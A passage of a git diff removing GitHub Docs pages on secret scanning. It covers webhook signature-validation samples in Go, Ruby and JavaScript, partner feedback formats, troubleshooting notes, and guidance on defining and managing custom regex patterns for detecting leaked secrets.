`Github-Public-Key-Identifier`. - -> [!NOTE] -> When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a {% data variables.product.pat_v1 %} (no scopes required) or a {% data variables.product.pat_v2 %} (only the automatic public repositories read access required) as suggested in the samples below, or use a conditional request. For more information, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api#conditional-requests). - -> [!NOTE] -> The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing. - -**Sample HTTP POST sent to verify endpoint** - -```http -POST / HTTP/2 -Host: HOST -Accept: */* -Content-Length: 104 -Content-Type: application/json -Github-Public-Key-Identifier: bcb53661c06b4728e59d897fb6165d5c9cda0fd9cdf9d09ead458168deb7518c -Github-Public-Key-Signature: MEQCIQDaMKqrGnE27S0kgMrEK0eYBmyG0LeZismAEz/BgZyt7AIfXt9fErtRS4XaeSt/AO1RtBY66YcAdjxji410VQV4xg== - -[{"source":"commit","token":"some_token","type":"some_type","url":"https://example.com/base-repo-url/"}] -``` - -The following code snippets demonstrate how you could perform signature validation. -The code examples assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated [{% data variables.product.pat_generic %}](https://github.com/settings/tokens) to avoid hitting rate limits. The {% data variables.product.pat_generic %} does not need any scopes/permissions. - -**Validation sample in Go** - -```golang -package main - -import ( - "crypto/ecdsa" - "crypto/sha256" - "crypto/x509" - "encoding/asn1" - "encoding/base64" - "encoding/json" - "encoding/pem" - "errors" - "fmt" - "math/big" - "net/http" - "os" -) - -func main() { - payload := `[{"source":"commit","token":"some_token","type":"some_type","url":"https://example.com/base-repo-url/"}]` - - kID := "bcb53661c06b4728e59d897fb6165d5c9cda0fd9cdf9d09ead458168deb7518c" - - kSig := "MEQCIQDaMKqrGnE27S0kgMrEK0eYBmyG0LeZismAEz/BgZyt7AIfXt9fErtRS4XaeSt/AO1RtBY66YcAdjxji410VQV4xg==" - - // Fetch the list of GitHub Public Keys - req, err := http.NewRequest("GET", "https://api.github.com/meta/public_keys/secret_scanning", nil) - if err != nil { - fmt.Printf("Error preparing request: %s\n", err) - os.Exit(1) - } - - if len(os.Getenv("GITHUB_PRODUCTION_TOKEN")) == 0 { - fmt.Println("Need to define environment variable GITHUB_PRODUCTION_TOKEN") - os.Exit(1) - } - - req.Header.Add("Authorization", "Bearer "+os.Getenv("GITHUB_PRODUCTION_TOKEN")) - - resp, err := http.DefaultClient.Do(req) - if err != nil { - fmt.Printf("Error requesting GitHub signing keys: %s\n", err) - os.Exit(2) - } - - decoder := json.NewDecoder(resp.Body) - var keys GitHubSigningKeys - if err := decoder.Decode(&keys); err != nil { - fmt.Printf("Error decoding GitHub signing key request: %s\n", err) - os.Exit(3) - } - - // Find the Key used to sign our webhook - pubKey, err := func() (string, error) { - for _, v := range keys.PublicKeys { - if v.KeyIdentifier == kID { - return v.Key, nil - - } - } - return "", errors.New("specified key was not found in GitHub key list") - }() - - if err != nil { - fmt.Printf("Error finding GitHub signing key: %s\n", err) - os.Exit(4) - } - - // Decode the Public Key - block, _ := pem.Decode([]byte(pubKey)) - if block == nil { - fmt.Println("Error parsing PEM block with GitHub public key") - os.Exit(5) - } - - // Create our ECDSA Public Key - key, err := x509.ParsePKIXPublicKey(block.Bytes) - if err != nil { - fmt.Printf("Error parsing DER encoded public key: %s\n", err) - os.Exit(6) - } - - // Because of documentation, we know it's a *ecdsa.PublicKey - ecdsaKey, ok := key.(*ecdsa.PublicKey) - if !ok { - fmt.Println("GitHub key was not ECDSA, what are they doing?!") - os.Exit(7) - } - - // Parse the Webhook Signature - parsedSig := asn1Signature{} - asnSig, err := base64.StdEncoding.DecodeString(kSig) - if err != nil { - fmt.Printf("unable to base64 decode signature: %s\n", err) - os.Exit(8) - } - rest, err := asn1.Unmarshal(asnSig, &parsedSig) - if err != nil || len(rest) != 0 { - fmt.Printf("Error unmarshalling asn.1 signature: %s\n", err) - os.Exit(9) - } - - // Verify the SHA256 encoded payload against the signature with GitHub's Key - digest := sha256.Sum256([]byte(payload)) - keyOk := ecdsa.Verify(ecdsaKey, digest[:], parsedSig.R, parsedSig.S) - - if keyOk { - fmt.Println("THE PAYLOAD IS GOOD!!") - } else { - fmt.Println("the payload is invalid :(") - os.Exit(10) - } -} - -type GitHubSigningKeys struct { - PublicKeys []struct { - KeyIdentifier string `json:"key_identifier"` - Key string `json:"key"` - IsCurrent bool `json:"is_current"` - } `json:"public_keys"` -} - -// asn1Signature is a struct for ASN.1 serializing/parsing signatures. -type asn1Signature struct { - R *big.Int - S *big.Int -} -``` - -**Validation sample in Ruby** - -```ruby -require 'openssl' -require 'net/http' -require 'uri' -require 'json' -require 'base64' - -payload = <<-EOL -[{"source":"commit","token":"some_token","type":"some_type","url":"https://example.com/base-repo-url/"}] -EOL - -payload = payload - -signature = "MEQCIQDaMKqrGnE27S0kgMrEK0eYBmyG0LeZismAEz/BgZyt7AIfXt9fErtRS4XaeSt/AO1RtBY66YcAdjxji410VQV4xg==" - -key_id = "bcb53661c06b4728e59d897fb6165d5c9cda0fd9cdf9d09ead458168deb7518c" - -url = URI.parse('https://api.github.com/meta/public_keys/secret_scanning') - -raise "Need to define GITHUB_PRODUCTION_TOKEN environment variable" unless ENV['GITHUB_PRODUCTION_TOKEN'] -request = Net::HTTP::Get.new(url.path) -request['Authorization'] = "Bearer #{ENV['GITHUB_PRODUCTION_TOKEN']}" - -http = Net::HTTP.new(url.host, url.port) -http.use_ssl = (url.scheme == "https") - -response = http.request(request) - -parsed_response = JSON.parse(response.body) - -current_key_object = parsed_response["public_keys"].find { |key| key["key_identifier"] == key_id } - -current_key = current_key_object["key"] - -openssl_key = OpenSSL::PKey::EC.new(current_key) - -puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp) -``` - -**Validation sample in JavaScript** - -```javascript -const crypto = require("crypto"); -const axios = require("axios"); - -const GITHUB_KEYS_URI = "https://api.github.com/meta/public_keys/secret_scanning"; - -/** - * Verify a payload and signature against a public key - * @param {String} payload the value to verify - * @param {String} signature the expected value - * @param {String} keyID the id of the key used to generated the signature - * @return {void} throws if the signature is invalid - */ -const verify_signature = async (payload, signature, keyID) => { - if (typeof payload !== "string" || payload.length === 0) { - throw new Error("Invalid payload"); - } - if (typeof signature !== "string" || signature.length === 0) { - throw new Error("Invalid signature"); - } - if (typeof keyID !== "string" || keyID.length === 0) { - throw new Error("Invalid keyID"); - } - - const keys = (await axios.get(GITHUB_KEYS_URI)).data; - if (!(keys?.public_keys instanceof Array) || keys.length === 0) { - throw new Error("No public keys found"); - } - - const publicKey = keys.public_keys.find((k) => k.key_identifier === keyID) ?? null; - if (publicKey === null) { - throw new Error("No public key found matching key identifier"); - } - - const verify = crypto.createVerify("SHA256").update(payload); - if (!verify.verify(publicKey.key, Buffer.from(signature, "base64"), "base64")) { - throw new Error("Signature does not match payload"); - } -}; -``` - -### Implement secret revocation and user notification in your secret alert service - -For {% data variables.product.prodname_secret_scanning %} found publicly, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised. - -### Provide feedback for false positives - -We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. - -When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats. - -You can send us the raw token: - -```json -[ - { - "token_raw": "The raw token", - "token_type": "ACompany_API_token", - "label": "true_positive" - } -] -``` - -You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256: - -```json -[ - { - "token_hash": "The SHA-256 hashed form of the raw token", - "token_type": "ACompany_API_token", - "label": "false_positive" - } -] -``` - -A few important points: -* You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both. -* For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm. -* The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed. - -> [!NOTE] -> Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. diff --git a/content/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/index.md b/content/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/index.md deleted file mode 100644 index 1bbb095f9e4e..000000000000 --- a/content/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Troubleshooting secret scanning and push protection -shortTitle: Troubleshoot -intro: 'If you have problems with {% data variables.product.prodname_secret_scanning %} or push protection, you can use these tips to help resolve issues.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Troubleshooting -children: - - /troubleshooting-secret-scanning ---- diff --git a/content/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/troubleshooting-secret-scanning.md b/content/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/troubleshooting-secret-scanning.md deleted file mode 100644 index 36bc0be25af5..000000000000 --- a/content/code-security/secret-scanning/troubleshooting-secret-scanning-and-push-protection/troubleshooting-secret-scanning.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Troubleshooting secret scanning -shortTitle: Troubleshoot secret scanning -intro: 'When using {% data variables.product.prodname_secret_scanning %} to detect secrets in your repository, or secrets about to be committed into your repository, you may need to troubleshoot unexpected issues.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Troubleshooting -redirect_from: - - /code-security/secret-scanning/troubleshooting-secret-scanning ---- - -{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} - -## Detection of pattern pairs - -{% data variables.product.prodname_secret_scanning_caps %} will only detect pattern pairs, such as AWS Access Keys and Secrets, if the ID and the secret are found in the same file, and both are pushed to the repository. Pair matching helps reduce false positives since both elements of a pair (the ID and the secret) must be used together to access the provider's resource. - -Pairs pushed to different files, or not pushed to the same repository, will not result in alerts. For more information about the supported pattern pairs, see the table in [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). - -## About legacy GitHub tokens - -For {% data variables.product.prodname_dotcom %} tokens, we check the validity of the secret to determine whether the secret is active or inactive. This means that for legacy tokens, {% data variables.product.prodname_secret_scanning %} won't detect a {% data variables.product.prodname_ghe_server %} {% data variables.product.pat_generic %} on {% data variables.product.prodname_ghe_cloud %}. Similarly, a {% data variables.product.prodname_ghe_cloud %} {% data variables.product.pat_generic %} won't be found on {% data variables.product.prodname_ghe_server %}. - -## Push protection limitations - -If push protection did not detect a secret that you think should have been detected, then you should first check that push protection supports the secret type in the list of supported secrets. For further information, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -If your secret is in the supported list, there are various reasons why push protection may not detect it. - -* Push protection only blocks leaked secrets on a subset of the most identifiable user-alerted patterns. Contributors can trust security defenses when such secrets are blocked as these are the patterns that have the lowest number of false positives. -* The version of your secret may be old. {% data reusables.secret-scanning.push-protection-older-tokens %} -* The push may be too large, for example, if you're trying to push thousands of large files. A push protection scan may time out and not block a user if the push is too large. {% data variables.product.prodname_dotcom %} will still scan and create alerts, if needed, after the push. -* If the push results in the detection of over five new secrets, we will only show you the first five (we will always show you a maximum of five secrets at one time). -* If a push contains over 1,000 existing secrets (that is, secrets for which alerts have already been created), push protection will not block the push. {% ifversion fpt or ghec %} -* If a push in a public repository is larger than 50 MB, push protection will skip it and won't scan it.{% endif %} diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning.md deleted file mode 100644 index bbd408060fe5..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning.md +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: Defining custom patterns for secret scanning -shortTitle: Define custom patterns -intro: 'You can define your own custom patterns to extend the capabilities of {% data variables.product.prodname_secret_scanning %} by generating one or more regular expressions.' -product: '{% data reusables.gated-features.secret-scanning-custom-patterns %}' -permissions: '{% data reusables.permissions.security-enterprise-enable %}' -redirect_from: - - /code-security/secret-security/defining-custom-patterns-for-secret-scanning - - /code-security/secret-scanning/defining-custom-patterns-for-secret-scanning -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret Protection - - Secret scanning ---- - -## About custom patterns for {% data variables.product.prodname_secret_scanning %} - -You can define custom patterns to identify secrets that are not detected by the default patterns supported by {% data variables.product.prodname_secret_scanning %}. For example, you might have a secret pattern that is internal to your organization. For details of the supported secrets and service providers, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). - -You can define custom patterns for your enterprise, organization, or repository. {% data variables.product.prodname_secret_scanning_caps %} supports up to 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per repository. - -{% ifversion secret-scanning-push-protection-custom-patterns %}You can also enable push protection for custom patterns. For more information about push protection, see [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning).{% endif %} - -## About using regular expressions for custom patterns - -You can specify custom patterns for {% data variables.product.prodname_secret_scanning %} as one or more regular expressions. - -{% data variables.product.prodname_secret_scanning_caps %} uses the [Hyperscan library](https://github.com/intel/hyperscan) and only supports Hyperscan regex constructs, which are a subset of PCRE syntax. Hyperscan option modifiers are not supported. For more information on Hyperscan pattern constructs, see [Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support) in the Hyperscan documentation. - -{% ifversion secret-scanning-custom-pattern-ai-generated %}Regular expressions can be entered manually or generated using {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %}. - -### Regular expression syntax for manually defining custom patterns {% endif %} - -The **More options {% octicon "chevron-down" aria-hidden="true" %}** section in the UI helps you write regular expressions manually. - -* **Secret format:** an expression that describes the format of the secret itself. -* **Before secret:** an expression that describes the characters that come before the secret. By default, this is set to `\A|[^0-9A-Za-z]` which means that the secret must be at the start of a line or be preceded by a non-alphanumeric character. -* **After secret:** an expression that describes the characters that come after the secret. By default, this is set to `\z|[^0-9A-Za-z]` which means that the secret must be followed by a new line or a non-alphanumeric character. -* **Additional match requirements:** one or more optional expressions that the secret itself must or must not match. - -For simple tokens you will usually only need to specify a secret format. The other fields provide flexibility so that you can specify more complex secrets without creating complex regular expressions. For an example of a custom pattern, see [Example of a custom pattern specified using additional requirements](#example-of-a-custom-pattern-specified-using-additional-requirements) below. - -{% ifversion secret-scanning-custom-pattern-ai-generated %} - -### Using {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} - -{% data reusables.secret-scanning.regular-expression-generator-overview %} For more information, see [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-regex-generator) and [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/generating-regular-expressions-for-custom-patterns-with-copilot-secret-scanning). - -{% endif %} - -## Defining a custom pattern for a repository - -Before defining a custom pattern, you must ensure that {% data variables.product.prodname_secret_scanning %} is enabled on your repository. For more information, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% data reusables.advanced-security.secret-scanning-new-custom-pattern %} -{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -1. When you're ready to test your new custom pattern, to identify matches in the repository without creating alerts, click **Save and dry run**. -{% data reusables.advanced-security.secret-scanning-dry-run-results %} -{% data reusables.advanced-security.secret-scanning-create-custom-pattern %}{% ifversion secret-scanning-push-protection-custom-patterns %} -1. Optionally, to enable push protection for your custom pattern, click **Enable**. - - > [!NOTE] - > The "Enable" button isn't available until after the dry run succeeds and you publish the pattern. - - For more information about push protection, see [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). - -{% endif %} - -After your pattern is created, {% data reusables.secret-scanning.secret-scanning-process %} For more information on viewing {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - -### Example of a custom pattern specified using additional requirements - -A company has an internal token with five characteristics. They use the different fields to specify how to identify tokens as follows: - -| **Characteristic** | **Field and regular expression** | -|----------------|------------------------------| -| Length between 5 and 10 characters | Secret format: `[$#%@AA-Za-z0-9]{5,10}` | -| Does not end in a `.` | After secret: `[^\.]` | -| Contains numbers and uppercase letters | Additional requirements: secret must match `[A-Z]` and `[0-9]` | -| Does not include more than one lowercase letter in a row | Additional requirements: secret must not match `[a-z]{2,}` | -| Contains one of `$%@!` | Additional requirements: secret must match `[$%@!]` | - -These tokens would match the custom pattern described above: - -```shell -a9@AAfT! # Secret string match: a9@AAfT -ee95GG@ZA942@aa # Secret string match: @ZA942@a -a9@AA!ee9 # Secret string match: a9@AA -``` - -These strings would not match the custom pattern described above: - -```shell -a9@AA.! -a@AAAAA -aa9@AA!ee9 -aAAAe9 -``` - -## Defining a custom pattern for an organization - -Before defining a custom pattern, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the repositories that you want to scan in your organization. {% ifversion security-configurations %} You can use {% data variables.product.prodname_security_configurations %} to enable {% data variables.product.prodname_secret_scanning %} on all repositories in your organization. For more information, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale).{% else %} -To enable {% data variables.product.prodname_secret_scanning %} on all repositories in your organization, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% ifversion security-configurations %} -1. In the "Security" section of the sidebar, select the **{% data variables.product.UI_advanced_security %}** dropdown menu, then click **{% data variables.product.prodname_global_settings_caps %}**. -{% else %} -{% data reusables.organizations.security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% endif %} -{% data reusables.advanced-security.secret-scanning-new-custom-pattern-org %} -{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -1. When you're ready to test your new custom pattern, to identify matches in select repositories without creating alerts, click **Save and dry run**. -{% data reusables.advanced-security.secret-scanning-dry-run-select-repos %} -{% data reusables.advanced-security.secret-scanning-dry-run-results %} -{% data reusables.advanced-security.secret-scanning-create-custom-pattern %}{% ifversion secret-scanning-push-protection-custom-patterns %} -1. Optionally, to enable push protection for your custom pattern, click **Enable**. For more information, see [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-in-an-organization-for-a-custom-pattern). - -{% indented_data_reference reusables.secret-scanning.push-protection-org-notes spaces=3 %}{% endif %} - -After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in repositories in your organization, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - -## Defining a custom pattern for an enterprise account - -Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see [AUTOTITLE]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise). - -> [!NOTE] -> * At the enterprise level, only the creator of a custom pattern can edit the pattern, and use it in a dry run. -> * {% data reusables.secret-scanning.dry-runs-enterprise-permissions %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. Under "{% data variables.product.UI_advanced_security_ent %}", click **Security features**. -1. Under "Secret scanning custom patterns", click **New pattern**. -{% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -1. When you're ready to test your new custom pattern, to identify matches in the enterprise without creating alerts, click **Save and dry run**. -{% data reusables.advanced-security.secret-scanning-dry-run-select-enterprise-repos %} -{% data reusables.advanced-security.secret-scanning-dry-run-results %} -{% data reusables.advanced-security.secret-scanning-create-custom-pattern %}{% ifversion secret-scanning-push-protection-custom-patterns %} -1. Optionally, to enable push protection for your custom pattern, click **Enable**. For more information, see [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). -{% indented_data_reference reusables.secret-scanning.push-protection-enterprise-note spaces=3 %}{% endif %} - -After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in repositories within your organizations with {% data variables.product.prodname_GH_secret_protection %} enabled, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.secret-scanning.alerts %}, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/managing-custom-patterns) {% ifversion secret-scanning-custom-patterns-metrics %} -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/metrics-for-custom-patterns){% endif %} diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/index.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/index.md deleted file mode 100644 index 363603bf1bb0..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Custom patterns -shortTitle: Custom patterns -allowTitleToDifferFromFilename: true -intro: 'You can extend the capabilities of {% data variables.product.prodname_secret_scanning %} to search for your own patterns. These custom patterns can range from your service API keys to connection strings into cloud resources.' -product: '{% data reusables.gated-features.secret-scanning-custom-patterns %}' -versions: - ghes: '*' - ghec: '*' -topics: - - Secret scanning - - Secret Protection - - Repositories -children: - - /defining-custom-patterns-for-secret-scanning - - /managing-custom-patterns - - /metrics-for-custom-patterns ---- diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/managing-custom-patterns.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/managing-custom-patterns.md deleted file mode 100644 index 73823129e421..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/managing-custom-patterns.md +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Managing custom patterns -shortTitle: Manage custom patterns -intro: 'You can view, edit, and remove custom patterns, as well as enable push protection for custom patterns.' -permissions: '{% data reusables.permissions.security-enterprise-enable %}' -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret Protection - - Secret scanning ---- - -Custom patterns are user-defined patterns that you can use to identify secrets that are not detected by the default patterns supported by {% data variables.product.prodname_secret_scanning %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -At the enterprise level, only the creator of a custom pattern can edit the pattern, and use it in a dry run. There are no similar restrictions for editing custom patterns at repository and organization level. - -## Editing a custom pattern - -When you save a change to a custom pattern, this closes all the {% data variables.secret-scanning.alerts %} that were created using the previous version of the pattern. - -{% data reusables.secret-scanning.view-custom-pattern %} -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", to the right of the custom pattern you want to edit, click {% octicon "pencil" aria-label="Edit pattern" %}. -1. When you're ready to test your edited custom pattern, to identify matches without creating alerts, click **Save and dry run**. -1. When you have reviewed and tested your changes, click **Publish changes**.{% ifversion secret-scanning-push-protection-custom-patterns %} -{% data reusables.advanced-security.secret-scanning-enable-push-protection-custom-pattern %} -1. Optionally, to disable push protection for your custom pattern, click **Disable**. - - ![Screenshot of the custom pattern page with the button to disable push protection highlighted with a dark orange outline.](/assets/images/help/repository/secret-scanning-disable-push-protection-custom-pattern.png){% endif %} - -## Removing a custom pattern - -When you remove a custom pattern, {% data variables.product.prodname_dotcom %} gives you the option to close the {% data variables.secret-scanning.alerts %} relating to the pattern, or keep these alerts. - -{% data reusables.secret-scanning.view-custom-pattern %} -1. To the right of the custom pattern you want to remove, click {% octicon "trash" aria-label="Remove pattern" %}. -1. Review the confirmation, and select a method for dealing with any open alerts relating to the custom pattern. -1. Click **Yes, delete this pattern**. - -{% ifversion secret-scanning-push-protection-custom-patterns %} - -## Enabling push protection for a custom pattern - -You can enable {% data variables.product.prodname_secret_scanning %} as a push protection for custom patterns stored at the enterprise, organization, or repository level. - -### Enabling push protection for a custom pattern stored in an enterprise - -{% data reusables.secret-scanning.push-protection-enterprise-note %} - -Before enabling push protection for a custom pattern at enterprise level, you must also test your custom patterns using dry runs. {% data reusables.secret-scanning.dry-runs-enterprise-permissions %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.code-security-and-analysis-policies %} -1. Under "{% data variables.product.UI_advanced_security_ent %}", click **Security features**. -{% data reusables.advanced-security.secret-scanning-edit-custom-pattern %} - - >[!NOTE] At the enterprise level, you can only edit and enable push protection for custom patterns that you created. - -1. To enable push protection for your custom pattern, scroll down to "Push Protection", and click **Enable**. - - {% data reusables.secret-scanning.custom-pattern-push-protection-enable-button %} - - ![Screenshot of the custom pattern page with the button to enable push protection highlighted with a dark orange outline.](/assets/images/help/repository/secret-scanning-custom-pattern-enable-push-protection.png) - -### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection in an organization for a custom pattern - -Before enabling push protection for a custom pattern at organization level, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the repositories that you want to scan in your organization. To enable {% data variables.product.prodname_secret_scanning %} on all repositories in your organization, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% ifversion security-configurations %} -1. In the "Security" section of the sidebar, select the **{% data variables.product.UI_advanced_security %}** dropdown menu, then click **{% data variables.product.prodname_global_settings_caps %}**. -1. Under "Custom patterns", click {% octicon "pencil" aria-label="Edit custom pattern" %} for the pattern of interest. -{% else %} -{% data reusables.organizations.security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% data reusables.advanced-security.secret-scanning-edit-custom-pattern %} -{% endif %} -1. To enable push protection for your custom pattern, scroll down to "Push Protection", and click **Enable**. -{% indented_data_reference reusables.secret-scanning.push-protection-org-notes spaces=3 %} - - ![Screenshot of the "Push protection" section of the custom pattern page. A button, labeled "Enable", is outlined in dark orange.](/assets/images/help/repository/secret-scanning-custom-pattern-enable-push-protection.png) - -### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection in a repository for a custom pattern - -Before enabling push protection for a custom pattern at repository level, you must define the custom pattern for the repository, and test it in the repository. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-a-repository). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% data reusables.advanced-security.secret-scanning-edit-custom-pattern %} -1. To enable push protection for your custom pattern, scroll down to "Push Protection", and click **Enable**. - - {% data reusables.secret-scanning.custom-pattern-push-protection-enable-button %} - - ![Screenshot of the "Push protection" section of the custom pattern page. A button, labeled "Enable", is outlined in dark orange.](/assets/images/help/repository/secret-scanning-custom-pattern-enable-push-protection.png) - -{% endif %} diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/metrics-for-custom-patterns.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/metrics-for-custom-patterns.md deleted file mode 100644 index ad947918ee28..000000000000 --- a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/metrics-for-custom-patterns.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Metrics for custom patterns -shortTitle: Custom pattern metrics -intro: 'You can view alert metrics for custom patterns at the repository, organization, and enterprise levels.' -permissions: '{% data reusables.permissions.security-enterprise-enable %}' -versions: - feature: secret-scanning-custom-patterns-metrics -type: how_to -topics: - - Secret Protection - - Secret scanning ---- - -## Metrics for custom patterns - -Organization owners and people with admin permission for a repository can see an overview of the activity for custom patterns. The overview includes alert and push protection activity for the custom pattern during the last 30 days. - -> [!NOTE] Metrics for custom patterns are in {% data variables.release-phases.public_preview %} and subject to change. - -## Viewing metrics for custom patterns - -{% data reusables.secret-scanning.view-custom-pattern %} -1. Under "{% data variables.product.prodname_secret_scanning_caps %}", click the custom pattern you want to view. - -The metrics are displayed under the custom pattern's name. diff --git a/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection.md b/content/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection.md deleted file 